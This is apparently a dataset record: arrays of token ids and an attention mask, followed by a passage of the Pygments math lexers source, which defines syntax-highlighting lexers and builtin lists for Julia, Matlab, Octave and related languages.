1521,
26,
288,
4336,
14,
740,
480,
15287,
83,
4451,
5,
83,
18781,
450,
360,
283,
5830,
3724,
13,
18,
395,
1819,
14,
1521,
430,
272,
8437,
2162,
8,
2108,
12,
378
] |
[
3598,
199,
646,
295,
199,
199,
646,
485,
1095,
199,
504,
3517,
21,
773,
14,
5559,
492,
3918,
8610,
3849,
199,
646,
3517,
21,
773,
14,
5559,
465,
5262,
199,
646,
7559,
465,
7559,
63,
20968,
199,
504,
3517,
21,
773,
492,
284,
72,
323,
1652,
199,
199,
893,
26,
272,
492,
14490,
14,
9464,
465,
7559,
199,
2590,
3545,
26,
272,
986,
199,
199,
2861,
3987,
275,
715,
199,
1450,
63,
11191,
275,
295,
14,
2014,
13076,
7059,
93,
3672,
6769,
19276,
6320,
199,
199,
624,
2377,
367,
21038,
314,
14490,
14,
9464,
3555,
14,
710,
16819,
2348,
365,
370,
675,
465,
8298,
199,
1618,
314,
5438,
3555,
465,
3962,
12,
1928,
1808,
11101,
441,
11176,
83,
2839,
3537,
1819,
199,
1247,
626,
2059,
3382,
19015,
14,
710,
3224,
2441,
402,
642,
365,
626,
781,
3913,
2954,
199,
452,
3962,
14416,
27,
22543,
314,
2569,
787,
6040,
370,
7675,
8826,
26,
199,
199,
1872,
503,
6786,
465,
31871,
402,
314,
1738,
1819,
199,
3768,
514,
83,
543,
949,
536,
199,
199,
11423,
1263,
402,
3520,
7645,
4781,
12,
781,
8689,
282,
3918,
8610,
3849,
199,
624,
199,
199,
533,
7543,
804,
8,
785,
304,
272,
347,
636,
826,
721,
277,
12,
536,
12,
25753,
12,
22873,
304,
267,
291,
14,
354,
275,
536,
3515,
267,
291,
14,
25311,
275,
25753,
267,
291,
14,
20150,
275,
22873,
199,
199,
533,
7543,
8,
785,
304,
272,
347,
636,
826,
721,
277,
304,
267,
291,
423,
2108,
3987,
275,
488,
267,
291,
423,
10626,
275,
942,
339,
347,
5666,
3493,
8,
277,
12,
1819,
304,
267,
291,
423,
2108,
3987,
14,
24544,
1252,
525,
2184,
8,
2108,
423,
2108,
9,
339,
347,
485,
26023,
6300,
8,
277,
304,
267,
372,
291,
423,
10626,
2286,
1982,
6300,
275,
3324,
1547,
26023,
6300,
9,
199,
199,
318,
511,
7299,
8,
2108,
304,
272,
4336,
275,
942,
272,
4242,
1872,
275,
488,
272,
2457,
275,
284,
72,
323,
1652,
14,
2354,
409,
4131,
342,
272,
347,
8437,
2162,
8,
2108,
12,
4363,
29,
16,
304,
267,
340,
440,
2688,
8,
2108,
12,
298,
1450,
2349,
288,
340,
221,
2688,
8,
2108,
12,
298,
24544,
2349,
355,
327,
9042,
3123,
1930,
355,
4336,
14,
740,
10064,
3554,
531,
355,
340,
1819,
14,
32139,
14,
4672,
21156,
26,
490,
340,
440,
334,
2108,
14,
32139,
14,
3455,
63,
344,
503,
29157,
1819,
14,
32139,
14,
2253,
63,
633,
304,
717,
366,
2076,
63,
495,
275,
3886,
1,
16556,
450,
83,
4335,
5,
2108,
14,
32139,
14,
1231,
63,
354,
490,
587,
26,
717,
366,
2076,
63,
495,
275,
8894,
1,
16556,
450,
83,
2071,
83,
2,
2071,
83,
1743,
624,
2840,
1169,
1819,
14,
32139,
14,
1231,
63,
354,
12,
29157,
1819,
14,
32139,
14,
3455,
63,
344,
12,
1169,
1819,
14,
32139,
14,
2253,
63,
633,
9,
490,
4336,
14,
740,
480,
15287,
83,
5,
83,
6808,
360,
283,
5830,
3724,
11,
18,
395,
366,
2076,
63,
495,
430,
355,
2163,
63,
2108,
275,
1819,
14,
24544,
342,
355,
1830,
2163,
63,
2108,
14,
362,
6352,
342,
365,
440,
488,
26,
490,
2163,
63,
2108,
275,
2163,
63,
2108,
14,
362,
6352,
342,
355,
1830,
2163,
63,
2108,
365,
440,
488,
26,
490,
8437,
2162,
8,
2184,
63,
2108,
12,
4363,
11,
18,
9,
490,
2163,
63,
2108,
275,
2163,
63,
2108,
14,
362,
2184,
342,
288,
916,
1228,
8,
2108,
12,
7116,
304,
355,
327,
1872,
315,
282,
7956,
355,
4336,
14,
740,
480,
15287,
83,
4451,
5,
83,
18781,
5,
360,
6438,
3724,
12,
1819,
430,
288,
587,
26,
355,
327,
11080,
1930,
355,
4336,
14,
740,
10064,
3554,
13,
7677,
531,
355,
367,
2163,
63,
2108,
315,
1819,
26,
490,
8437,
2162,
8,
2184,
63,
2108,
12,
4363,
11,
18,
9,
267,
916,
730,
8,
2108,
14,
1450,
9,
508,
730,
8,
9464,
14,
7488,
304,
288,
4336,
14,
740,
480,
15287,
83,
25273,
450,
83,
1553,
4335,
5,
360,
6438,
3724,
12,
1819,
14,
505,
430,
267,
587,
26,
288,
700,
1431,
275,
7559,
63,
20968,
14,
1450,
63,
11191,
14,
1431,
8,
2108,
14,
1450,
9,
288,
340,
700,
1431,
365,
440,
488,
26,
355,
700,
275,
700,
1431,
14,
923,
8,
17,
9,
355,
1947,
275,
700,
1431,
14,
923,
8,
18,
9,
355,
2403,
275,
5262,
14,
14124,
59,
561,
61,
355,
4336,
14,
740,
480,
15287,
83,
21110,
83,
450,
83,
4335,
5,
360,
6438,
3724,
12,
2403,
12,
3147,
2457,
14,
504,
8672,
985,
8,
1450,
1724,
288,
587,
26,
355,
4336,
14,
740,
480,
15287,
83,
21110,
83,
4335,
5,
360,
6438,
3724,
12,
3660,
2457,
14,
504,
8672,
985,
8,
2108,
14,
1450,
1724,
953,
340,
2688,
8,
2108,
12,
298,
6640,
2349,
355,
3004,
275,
942,
355,
367,
536,
12,
574,
315,
1819,
14,
6640,
14,
4611,
837,
490,
700,
1431,
275,
1947,
63,
11191,
14,
1431,
8,
354,
9,
490,
340,
700,
1431,
365,
440,
488,
26,
717,
700,
12,
536,
275,
700,
1431,
14,
2634,
342,
717,
536,
275,
2457,
14,
504,
8672,
985,
8,
354,
9,
717,
2403,
275,
5262,
14,
14124,
59,
561,
61,
717,
1921,
63,
875,
275,
2071,
83,
450,
83,
14007,
1861,
12,
536,
9,
490,
587,
26,
717,
1921,
63,
875,
275,
2457,
14,
504,
8672,
985,
8,
354,
9,
490,
3004,
14,
740,
1332,
962,
63,
875,
12,
574,
430,
2234,
367,
536,
12,
574,
315,
3355,
8,
2987,
304,
490,
4336,
14,
740,
360,
15287,
83,
5,
83,
5961,
83,
4507,
450,
661,
283,
5830,
3724,
11,
18,
395,
536,
12,
574,
430,
953,
340,
1819,
14,
505,
26,
355,
4336,
14,
740,
480,
15287,
83,
4451,
5,
83,
18781,
450,
360,
283,
5830,
3724,
11,
18,
395,
1819,
14,
505,
430,
288,
4363,
847,
499,
288,
367,
1982,
315,
1819,
14,
362,
3223,
837,
355,
8437,
2162,
8,
1739,
12,
4363,
9,
267,
340,
2688,
8,
2108,
12,
298,
1521,
531,
436,
1819,
14,
1521,
26,
288,
4336,
14,
740,
480,
15287,
83,
4451,
5,
83,
18781,
450,
360,
283,
5830,
3724,
13,
18,
395,
1819,
14,
1521,
430,
272,
8437,
2162,
8,
2108,
12,
378,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
joshimio/blog
|
node_modules/pygmentize-bundled/vendor/pygments/pygments/lexers/math.py
|
291
|
93298
|
# -*- coding: utf-8 -*-
"""
pygments.lexers.math
~~~~~~~~~~~~~~~~~~~~
Lexers for math languages.
:copyright: Copyright 2006-2013 by the Pygments team, see AUTHORS.
:license: BSD, see LICENSE for details.
"""
import re
from pygments.util import shebang_matches
from pygments.lexer import Lexer, RegexLexer, bygroups, include, \
combined, do_insertions
from pygments.token import Comment, String, Punctuation, Keyword, Name, \
Operator, Number, Text, Generic
from pygments.lexers.agile import PythonLexer
from pygments.lexers import _scilab_builtins
from pygments.lexers import _stan_builtins
__all__ = ['JuliaLexer', 'JuliaConsoleLexer', 'MuPADLexer', 'MatlabLexer',
'MatlabSessionLexer', 'OctaveLexer', 'ScilabLexer', 'NumPyLexer',
'RConsoleLexer', 'SLexer', 'JagsLexer', 'BugsLexer', 'StanLexer',
'IDLLexer', 'RdLexer', 'IgorLexer']
class JuliaLexer(RegexLexer):
"""
For `Julia <http://julialang.org/>`_ source code.
*New in Pygments 1.6.*
"""
name = 'Julia'
aliases = ['julia','jl']
filenames = ['*.jl']
mimetypes = ['text/x-julia','application/x-julia']
builtins = [
'exit','whos','edit','load','is','isa','isequal','typeof','tuple',
'ntuple','uid','hash','finalizer','convert','promote','subtype',
'typemin','typemax','realmin','realmax','sizeof','eps','promote_type',
'method_exists','applicable','invoke','dlopen','dlsym','system',
'error','throw','assert','new','Inf','Nan','pi','im',
]
tokens = {
'root': [
(r'\n', Text),
(r'[^\S\n]+', Text),
(r'#.*$', Comment),
(r'[]{}:(),;[@]', Punctuation),
(r'\\\n', Text),
(r'\\', Text),
# keywords
(r'(begin|while|for|in|return|break|continue|'
r'macro|quote|let|if|elseif|else|try|catch|end|'
r'bitstype|ccall|do|using|module|import|export|'
r'importall|baremodule|immutable)\b', Keyword),
(r'(local|global|const)\b', Keyword.Declaration),
(r'(Bool|Int|Int8|Int16|Int32|Int64|Uint|Uint8|Uint16|Uint32|Uint64'
r'|Float32|Float64|Complex64|Complex128|Any|Nothing|None)\b',
Keyword.Type),
# functions
(r'(function)((?:\s|\\\s)+)',
bygroups(Keyword,Name.Function), 'funcname'),
# types
(r'(type|typealias|abstract)((?:\s|\\\s)+)',
bygroups(Keyword,Name.Class), 'typename'),
# operators
(r'==|!=|<=|>=|->|&&|\|\||::|<:|[-~+/*%=<>&^|.?!$]', Operator),
(r'\.\*|\.\^|\.\\|\.\/|\\', Operator),
# builtins
('(' + '|'.join(builtins) + r')\b', Name.Builtin),
# backticks
(r'`(?s).*?`', String.Backtick),
# chars
(r"'(\\.|\\[0-7]{1,3}|\\x[a-fA-F0-9]{1,3}|\\u[a-fA-F0-9]{1,4}|"
r"\\U[a-fA-F0-9]{1,6}|[^\\\'\n])'", String.Char),
# try to match trailing transpose
(r'(?<=[.\w\)\]])\'+', Operator),
# strings
(r'(?:[IL])"', String, 'string'),
(r'[E]?"', String, combined('stringescape', 'string')),
# names
(r'@[a-zA-Z0-9_.]+', Name.Decorator),
(r'[a-zA-Z_][a-zA-Z0-9_]*', Name),
# numbers
(r'(\d+(_\d+)+\.\d*|\d*\.\d+(_\d+)+)([eEf][+-]?[0-9]+)?', Number.Float),
(r'(\d+\.\d*|\d*\.\d+)([eEf][+-]?[0-9]+)?', Number.Float),
(r'\d+(_\d+)+[eEf][+-]?[0-9]+', Number.Float),
(r'\d+[eEf][+-]?[0-9]+', Number.Float),
(r'0b[01]+(_[01]+)+', Number.Binary),
(r'0b[01]+', Number.Binary),
(r'0o[0-7]+(_[0-7]+)+', Number.Oct),
(r'0o[0-7]+', Number.Oct),
(r'0x[a-fA-F0-9]+(_[a-fA-F0-9]+)+', Number.Hex),
(r'0x[a-fA-F0-9]+', Number.Hex),
(r'\d+(_\d+)+', Number.Integer),
(r'\d+', Number.Integer)
],
'funcname': [
('[a-zA-Z_][a-zA-Z0-9_]*', Name.Function, '#pop'),
('\([^\s\w{]{1,2}\)', Operator, '#pop'),
('[^\s\w{]{1,2}', Operator, '#pop'),
],
'typename': [
('[a-zA-Z_][a-zA-Z0-9_]*', Name.Class, '#pop')
],
'stringescape': [
(r'\\([\\abfnrtv"\']|\n|N{.*?}|u[a-fA-F0-9]{4}|'
r'U[a-fA-F0-9]{8}|x[a-fA-F0-9]{2}|[0-7]{1,3})', String.Escape)
],
'string': [
(r'"', String, '#pop'),
(r'\\\\|\\"|\\\n', String.Escape), # included here for raw strings
(r'\$(\([a-zA-Z0-9_]+\))?[-#0 +]*([0-9]+|[*])?(\.([0-9]+|[*]))?',
String.Interpol),
(r'[^\\"$]+', String),
# quotes, dollar signs, and backslashes must be parsed one at a time
(r'["\\]', String),
# unhandled string formatting sign
(r'\$', String)
],
}
def analyse_text(text):
return shebang_matches(text, r'julia')
line_re = re.compile('.*?\n')
class JuliaConsoleLexer(Lexer):
"""
For Julia console sessions. Modeled after MatlabSessionLexer.
*New in Pygments 1.6.*
"""
name = 'Julia console'
aliases = ['jlcon']
def get_tokens_unprocessed(self, text):
jllexer = JuliaLexer(**self.options)
curcode = ''
insertions = []
for match in line_re.finditer(text):
line = match.group()
if line.startswith('julia>'):
insertions.append((len(curcode),
[(0, Generic.Prompt, line[:3])]))
curcode += line[3:]
elif line.startswith(' '):
idx = len(curcode)
# without is showing error on same line as before...?
line = "\n" + line
token = (0, Generic.Traceback, line)
insertions.append((idx, [token]))
else:
if curcode:
for item in do_insertions(
insertions, jllexer.get_tokens_unprocessed(curcode)):
yield item
curcode = ''
insertions = []
yield match.start(), Generic.Output, line
if curcode: # or item:
for item in do_insertions(
insertions, jllexer.get_tokens_unprocessed(curcode)):
yield item
class MuPADLexer(RegexLexer):
"""
A `MuPAD <http://www.mupad.com>`_ lexer.
Contributed by Christopher Creutzig <christopher@creutzig.de>.
*New in Pygments 0.8.*
"""
name = 'MuPAD'
aliases = ['mupad']
filenames = ['*.mu']
tokens = {
'root' : [
(r'//.*?$', Comment.Single),
(r'/\*', Comment.Multiline, 'comment'),
(r'"(?:[^"\\]|\\.)*"', String),
(r'\(|\)|\[|\]|\{|\}', Punctuation),
(r'''(?x)\b(?:
next|break|end|
axiom|end_axiom|category|end_category|domain|end_domain|inherits|
if|%if|then|elif|else|end_if|
case|of|do|otherwise|end_case|
while|end_while|
repeat|until|end_repeat|
for|from|to|downto|step|end_for|
proc|local|option|save|begin|end_proc|
delete|frame
)\b''', Keyword),
(r'''(?x)\b(?:
DOM_ARRAY|DOM_BOOL|DOM_COMPLEX|DOM_DOMAIN|DOM_EXEC|DOM_EXPR|
DOM_FAIL|DOM_FLOAT|DOM_FRAME|DOM_FUNC_ENV|DOM_HFARRAY|DOM_IDENT|
DOM_INT|DOM_INTERVAL|DOM_LIST|DOM_NIL|DOM_NULL|DOM_POLY|DOM_PROC|
DOM_PROC_ENV|DOM_RAT|DOM_SET|DOM_STRING|DOM_TABLE|DOM_VAR
)\b''', Name.Class),
(r'''(?x)\b(?:
PI|EULER|E|CATALAN|
NIL|FAIL|undefined|infinity|
TRUE|FALSE|UNKNOWN
)\b''',
Name.Constant),
(r'\b(?:dom|procname)\b', Name.Builtin.Pseudo),
(r'\.|,|:|;|=|\+|-|\*|/|\^|@|>|<|\$|\||!|\'|%|~=', Operator),
(r'''(?x)\b(?:
and|or|not|xor|
assuming|
div|mod|
union|minus|intersect|in|subset
)\b''',
Operator.Word),
(r'\b(?:I|RDN_INF|RD_NINF|RD_NAN)\b', Number),
#(r'\b(?:adt|linalg|newDomain|hold)\b', Name.Builtin),
(r'''(?x)
((?:[a-zA-Z_#][a-zA-Z_#0-9]*|`[^`]*`)
(?:::[a-zA-Z_#][a-zA-Z_#0-9]*|`[^`]*`)*)(\s*)([(])''',
bygroups(Name.Function, Text, Punctuation)),
(r'''(?x)
(?:[a-zA-Z_#][a-zA-Z_#0-9]*|`[^`]*`)
(?:::[a-zA-Z_#][a-zA-Z_#0-9]*|`[^`]*`)*''', Name.Variable),
(r'[0-9]+(?:\.[0-9]*)?(?:e[0-9]+)?', Number),
(r'\.[0-9]+(?:e[0-9]+)?', Number),
(r'.', Text)
],
'comment' : [
(r'[^*/]', Comment.Multiline),
(r'/\*', Comment.Multiline, '#push'),
(r'\*/', Comment.Multiline, '#pop'),
(r'[*/]', Comment.Multiline)
]
}
class MatlabLexer(RegexLexer):
"""
For Matlab source code.
*New in Pygments 0.10.*
"""
name = 'Matlab'
aliases = ['matlab']
filenames = ['*.m']
mimetypes = ['text/matlab']
#
# These lists are generated automatically.
# Run the following in bash shell:
#
# for f in elfun specfun elmat; do
# echo -n "$f = "
# matlab -nojvm -r "help $f;exit;" | perl -ne \
# 'push(@c,$1) if /^ (\w+)\s+-/; END {print q{["}.join(q{","},@c).qq{"]\n};}'
# done
#
# elfun: Elementary math functions
# specfun: Special Math functions
# elmat: Elementary matrices and matrix manipulation
#
# taken from Matlab version 7.4.0.336 (R2007a)
#
elfun = ["sin","sind","sinh","asin","asind","asinh","cos","cosd","cosh",
"acos","acosd","acosh","tan","tand","tanh","atan","atand","atan2",
"atanh","sec","secd","sech","asec","asecd","asech","csc","cscd",
"csch","acsc","acscd","acsch","cot","cotd","coth","acot","acotd",
"acoth","hypot","exp","expm1","log","log1p","log10","log2","pow2",
"realpow","reallog","realsqrt","sqrt","nthroot","nextpow2","abs",
"angle","complex","conj","imag","real","unwrap","isreal","cplxpair",
"fix","floor","ceil","round","mod","rem","sign"]
specfun = ["airy","besselj","bessely","besselh","besseli","besselk","beta",
"betainc","betaln","ellipj","ellipke","erf","erfc","erfcx",
"erfinv","expint","gamma","gammainc","gammaln","psi","legendre",
"cross","dot","factor","isprime","primes","gcd","lcm","rat",
"rats","perms","nchoosek","factorial","cart2sph","cart2pol",
"pol2cart","sph2cart","hsv2rgb","rgb2hsv"]
elmat = ["zeros","ones","eye","repmat","rand","randn","linspace","logspace",
"freqspace","meshgrid","accumarray","size","length","ndims","numel",
"disp","isempty","isequal","isequalwithequalnans","cat","reshape",
"diag","blkdiag","tril","triu","fliplr","flipud","flipdim","rot90",
"find","end","sub2ind","ind2sub","bsxfun","ndgrid","permute",
"ipermute","shiftdim","circshift","squeeze","isscalar","isvector",
"ans","eps","realmax","realmin","pi","i","inf","nan","isnan",
"isinf","isfinite","j","why","compan","gallery","hadamard","hankel",
"hilb","invhilb","magic","pascal","rosser","toeplitz","vander",
"wilkinson"]
tokens = {
'root': [
# line starting with '!' is sent as a system command. not sure what
# label to use...
(r'^!.*', String.Other),
(r'%\{\s*\n', Comment.Multiline, 'blockcomment'),
(r'%.*$', Comment),
(r'^\s*function', Keyword, 'deffunc'),
# from 'iskeyword' on version 7.11 (R2010):
(r'(break|case|catch|classdef|continue|else|elseif|end|enumerated|'
r'events|for|function|global|if|methods|otherwise|parfor|'
r'persistent|properties|return|spmd|switch|try|while)\b', Keyword),
("(" + "|".join(elfun+specfun+elmat) + r')\b', Name.Builtin),
# line continuation with following comment:
(r'\.\.\..*$', Comment),
# operators:
(r'-|==|~=|<|>|<=|>=|&&|&|~|\|\|?', Operator),
# operators requiring escape for re:
(r'\.\*|\*|\+|\.\^|\.\\|\.\/|\/|\\', Operator),
# punctuation:
(r'\[|\]|\(|\)|\{|\}|:|@|\.|,', Punctuation),
(r'=|:|;', Punctuation),
# quote can be transpose, instead of string:
# (not great, but handles common cases...)
(r'(?<=[\w\)\]])\'', Operator),
(r'(\d+\.\d*|\d*\.\d+)([eEf][+-]?[0-9]+)?', Number.Float),
(r'\d+[eEf][+-]?[0-9]+', Number.Float),
(r'\d+', Number.Integer),
(r'(?<![\w\)\]])\'', String, 'string'),
('[a-zA-Z_][a-zA-Z0-9_]*', Name),
(r'.', Text),
],
'string': [
(r'[^\']*\'', String, '#pop')
],
'blockcomment': [
(r'^\s*%\}', Comment.Multiline, '#pop'),
(r'^.*\n', Comment.Multiline),
(r'.', Comment.Multiline),
],
'deffunc': [
(r'(\s*)(?:(.+)(\s*)(=)(\s*))?(.+)(\()(.*)(\))(\s*)',
bygroups(Text.Whitespace, Text, Text.Whitespace, Punctuation,
Text.Whitespace, Name.Function, Punctuation, Text,
Punctuation, Text.Whitespace), '#pop'),
],
}
def analyse_text(text):
if re.match('^\s*%', text, re.M): # comment
return 0.9
elif re.match('^!\w+', text, re.M): # system cmd
return 0.9
return 0.1
line_re = re.compile('.*?\n')
class MatlabSessionLexer(Lexer):
"""
For Matlab sessions. Modeled after PythonConsoleLexer.
Contributed by Ken Schutte <kschutte@csail.mit.edu>.
*New in Pygments 0.10.*
"""
name = 'Matlab session'
aliases = ['matlabsession']
def get_tokens_unprocessed(self, text):
mlexer = MatlabLexer(**self.options)
curcode = ''
insertions = []
for match in line_re.finditer(text):
line = match.group()
if line.startswith('>>'):
insertions.append((len(curcode),
[(0, Generic.Prompt, line[:3])]))
curcode += line[3:]
elif line.startswith('???'):
idx = len(curcode)
# without is showing error on same line as before...?
line = "\n" + line
token = (0, Generic.Traceback, line)
insertions.append((idx, [token]))
else:
if curcode:
for item in do_insertions(
insertions, mlexer.get_tokens_unprocessed(curcode)):
yield item
curcode = ''
insertions = []
yield match.start(), Generic.Output, line
if curcode: # or item:
for item in do_insertions(
insertions, mlexer.get_tokens_unprocessed(curcode)):
yield item
class OctaveLexer(RegexLexer):
"""
For GNU Octave source code.
*New in Pygments 1.5.*
"""
name = 'Octave'
aliases = ['octave']
filenames = ['*.m']
mimetypes = ['text/octave']
# These lists are generated automatically.
# Run the following in bash shell:
#
# First dump all of the Octave manual into a plain text file:
#
# $ info octave --subnodes -o octave-manual
#
# Now grep through it:
# for i in \
# "Built-in Function" "Command" "Function File" \
# "Loadable Function" "Mapping Function";
# do
# perl -e '@name = qw('"$i"');
# print lc($name[0]),"_kw = [\n"';
#
# perl -n -e 'print "\"$1\",\n" if /-- '"$i"': .* (\w*) \(/;' \
# octave-manual | sort | uniq ;
# echo "]" ;
# echo;
# done
# taken from Octave Mercurial changeset 8cc154f45e37 (30-jan-2011)
builtin_kw = [ "addlistener", "addpath", "addproperty", "all",
"and", "any", "argnames", "argv", "assignin",
"atexit", "autoload",
"available_graphics_toolkits", "beep_on_error",
"bitand", "bitmax", "bitor", "bitshift", "bitxor",
"cat", "cell", "cellstr", "char", "class", "clc",
"columns", "command_line_path",
"completion_append_char", "completion_matches",
"complex", "confirm_recursive_rmdir", "cputime",
"crash_dumps_octave_core", "ctranspose", "cumprod",
"cumsum", "debug_on_error", "debug_on_interrupt",
"debug_on_warning", "default_save_options",
"dellistener", "diag", "diff", "disp",
"doc_cache_file", "do_string_escapes", "double",
"drawnow", "e", "echo_executing_commands", "eps",
"eq", "errno", "errno_list", "error", "eval",
"evalin", "exec", "exist", "exit", "eye", "false",
"fclear", "fclose", "fcntl", "fdisp", "feof",
"ferror", "feval", "fflush", "fgetl", "fgets",
"fieldnames", "file_in_loadpath", "file_in_path",
"filemarker", "filesep", "find_dir_in_path",
"fixed_point_format", "fnmatch", "fopen", "fork",
"formula", "fprintf", "fputs", "fread", "freport",
"frewind", "fscanf", "fseek", "fskipl", "ftell",
"functions", "fwrite", "ge", "genpath", "get",
"getegid", "getenv", "geteuid", "getgid",
"getpgrp", "getpid", "getppid", "getuid", "glob",
"gt", "gui_mode", "history_control",
"history_file", "history_size",
"history_timestamp_format_string", "home",
"horzcat", "hypot", "ifelse",
"ignore_function_time_stamp", "inferiorto",
"info_file", "info_program", "inline", "input",
"intmax", "intmin", "ipermute",
"is_absolute_filename", "isargout", "isbool",
"iscell", "iscellstr", "ischar", "iscomplex",
"isempty", "isfield", "isfloat", "isglobal",
"ishandle", "isieee", "isindex", "isinteger",
"islogical", "ismatrix", "ismethod", "isnull",
"isnumeric", "isobject", "isreal",
"is_rooted_relative_filename", "issorted",
"isstruct", "isvarname", "kbhit", "keyboard",
"kill", "lasterr", "lasterror", "lastwarn",
"ldivide", "le", "length", "link", "linspace",
"logical", "lstat", "lt", "make_absolute_filename",
"makeinfo_program", "max_recursion_depth", "merge",
"methods", "mfilename", "minus", "mislocked",
"mkdir", "mkfifo", "mkstemp", "mldivide", "mlock",
"mouse_wheel_zoom", "mpower", "mrdivide", "mtimes",
"munlock", "nargin", "nargout",
"native_float_format", "ndims", "ne", "nfields",
"nnz", "norm", "not", "numel", "nzmax",
"octave_config_info", "octave_core_file_limit",
"octave_core_file_name",
"octave_core_file_options", "ones", "or",
"output_max_field_width", "output_precision",
"page_output_immediately", "page_screen_output",
"path", "pathsep", "pause", "pclose", "permute",
"pi", "pipe", "plus", "popen", "power",
"print_empty_dimensions", "printf",
"print_struct_array_contents", "prod",
"program_invocation_name", "program_name",
"putenv", "puts", "pwd", "quit", "rats", "rdivide",
"readdir", "readlink", "read_readline_init_file",
"realmax", "realmin", "rehash", "rename",
"repelems", "re_read_readline_init_file", "reset",
"reshape", "resize", "restoredefaultpath",
"rethrow", "rmdir", "rmfield", "rmpath", "rows",
"save_header_format_string", "save_precision",
"saving_history", "scanf", "set", "setenv",
"shell_cmd", "sighup_dumps_octave_core",
"sigterm_dumps_octave_core", "silent_functions",
"single", "size", "size_equal", "sizemax",
"sizeof", "sleep", "source", "sparse_auto_mutate",
"split_long_rows", "sprintf", "squeeze", "sscanf",
"stat", "stderr", "stdin", "stdout", "strcmp",
"strcmpi", "string_fill_char", "strncmp",
"strncmpi", "struct", "struct_levels_to_print",
"strvcat", "subsasgn", "subsref", "sum", "sumsq",
"superiorto", "suppress_verbose_help_message",
"symlink", "system", "tic", "tilde_expand",
"times", "tmpfile", "tmpnam", "toc", "toupper",
"transpose", "true", "typeinfo", "umask", "uminus",
"uname", "undo_string_escapes", "unlink", "uplus",
"upper", "usage", "usleep", "vec", "vectorize",
"vertcat", "waitpid", "warning", "warranty",
"whos_line_format", "yes_or_no", "zeros",
"inf", "Inf", "nan", "NaN"]
command_kw = [ "close", "load", "who", "whos", ]
function_kw = [ "accumarray", "accumdim", "acosd", "acotd",
"acscd", "addtodate", "allchild", "ancestor",
"anova", "arch_fit", "arch_rnd", "arch_test",
"area", "arma_rnd", "arrayfun", "ascii", "asctime",
"asecd", "asind", "assert", "atand",
"autoreg_matrix", "autumn", "axes", "axis", "bar",
"barh", "bartlett", "bartlett_test", "beep",
"betacdf", "betainv", "betapdf", "betarnd",
"bicgstab", "bicubic", "binary", "binocdf",
"binoinv", "binopdf", "binornd", "bitcmp",
"bitget", "bitset", "blackman", "blanks",
"blkdiag", "bone", "box", "brighten", "calendar",
"cast", "cauchy_cdf", "cauchy_inv", "cauchy_pdf",
"cauchy_rnd", "caxis", "celldisp", "center", "cgs",
"chisquare_test_homogeneity",
"chisquare_test_independence", "circshift", "cla",
"clabel", "clf", "clock", "cloglog", "closereq",
"colon", "colorbar", "colormap", "colperm",
"comet", "common_size", "commutation_matrix",
"compan", "compare_versions", "compass",
"computer", "cond", "condest", "contour",
"contourc", "contourf", "contrast", "conv",
"convhull", "cool", "copper", "copyfile", "cor",
"corrcoef", "cor_test", "cosd", "cotd", "cov",
"cplxpair", "cross", "cscd", "cstrcat", "csvread",
"csvwrite", "ctime", "cumtrapz", "curl", "cut",
"cylinder", "date", "datenum", "datestr",
"datetick", "datevec", "dblquad", "deal",
"deblank", "deconv", "delaunay", "delaunayn",
"delete", "demo", "detrend", "diffpara", "diffuse",
"dir", "discrete_cdf", "discrete_inv",
"discrete_pdf", "discrete_rnd", "display",
"divergence", "dlmwrite", "dos", "dsearch",
"dsearchn", "duplication_matrix", "durbinlevinson",
"ellipsoid", "empirical_cdf", "empirical_inv",
"empirical_pdf", "empirical_rnd", "eomday",
"errorbar", "etime", "etreeplot", "example",
"expcdf", "expinv", "expm", "exppdf", "exprnd",
"ezcontour", "ezcontourf", "ezmesh", "ezmeshc",
"ezplot", "ezpolar", "ezsurf", "ezsurfc", "factor",
"factorial", "fail", "fcdf", "feather", "fftconv",
"fftfilt", "fftshift", "figure", "fileattrib",
"fileparts", "fill", "findall", "findobj",
"findstr", "finv", "flag", "flipdim", "fliplr",
"flipud", "fpdf", "fplot", "fractdiff", "freqz",
"freqz_plot", "frnd", "fsolve",
"f_test_regression", "ftp", "fullfile", "fzero",
"gamcdf", "gaminv", "gampdf", "gamrnd", "gca",
"gcbf", "gcbo", "gcf", "genvarname", "geocdf",
"geoinv", "geopdf", "geornd", "getfield", "ginput",
"glpk", "gls", "gplot", "gradient",
"graphics_toolkit", "gray", "grid", "griddata",
"griddatan", "gtext", "gunzip", "gzip", "hadamard",
"hamming", "hankel", "hanning", "hggroup",
"hidden", "hilb", "hist", "histc", "hold", "hot",
"hotelling_test", "housh", "hsv", "hurst",
"hygecdf", "hygeinv", "hygepdf", "hygernd",
